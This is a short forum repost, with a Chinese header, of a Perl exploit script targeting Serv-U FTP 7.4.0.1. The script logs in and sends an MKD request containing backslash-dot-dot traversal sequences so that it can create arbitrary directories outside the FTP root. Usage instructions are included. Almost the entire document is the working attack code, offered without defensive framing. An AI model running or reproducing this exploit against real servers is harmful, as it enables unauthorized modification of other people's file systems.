Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit
来源:天阳网络技术论坛
Serv-U 7.4.0.1 创建任意目录 perl脚本
- #!/usr/bin/perl
- # Soft : FTP Serv-U
- # Version : v7.4.0.1
- #
- # A vulnerability is caused due to an input validation error when handling FTP "MKD"
- # requests. This can be exploited to escape the FTP root and create arbitrary directory on
- # the system via directory traversal attacks using the "\.." character sequence.
- #
- #
- # Author: Jonathan Salwan
- # Mail: submit [AT] shell-storm.org
- # Web: http://www.shell-storm.org
- use IO::Socket;
- print "[+] Author : Jonathan Salwan \n";
- print "[+] Soft: FTP Serv-U\n";
- if (@ARGV < 4)
- {
- print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
- print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
- exit;
- }
- $ip = $ARGV[0];
- $port = $ARGV[1];
- $user = $ARGV[2];
- $pass = $ARGV[3];
- $dir = $ARGV[4];
- $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
- print "\n[+] Connecting: Ok!\n";
- print "[+] Sending request...\n";
- print $socket "USER $user";
- print $socket "PASS $pass";
- print $socket "MKD $dir";
- sleep(3);
- close($socket);
- print "[+]Done! directory $dir has been created\n";